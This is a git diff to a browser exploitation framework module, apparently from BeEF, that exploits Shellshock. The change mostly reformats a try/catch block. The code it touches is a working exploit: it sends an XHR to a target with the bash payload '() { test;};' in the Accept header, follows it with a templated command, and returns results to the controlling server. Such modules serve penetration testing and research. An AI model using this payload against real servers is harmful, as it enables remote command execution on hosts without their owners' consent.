diff --git a/modules/exploits/shell_shocked/command.js b/modules/exploits/shell_shocked/command.js index 8130c55d5..3ec753b74 100644 --- a/modules/exploits/shell_shocked/command.js +++ b/modules/exploits/shell_shocked/command.js @@ -5,7 +5,6 @@ // beef.execute(function () { - try { var target = "<%=@Target%>"; var command = "<%=@Bash_Command%>"; @@ -20,10 +19,8 @@ beef.execute(function () { } } xhr.setRequestHeader("Accept", "() { test;};echo \"Content-type: text/plain\"; echo; echo; " + command); - xhr.send(null); - } - catch (e){ - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message); + xhr.send(null); + } catch (e){ + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result= Something wrong "+e.message); } - }); - +});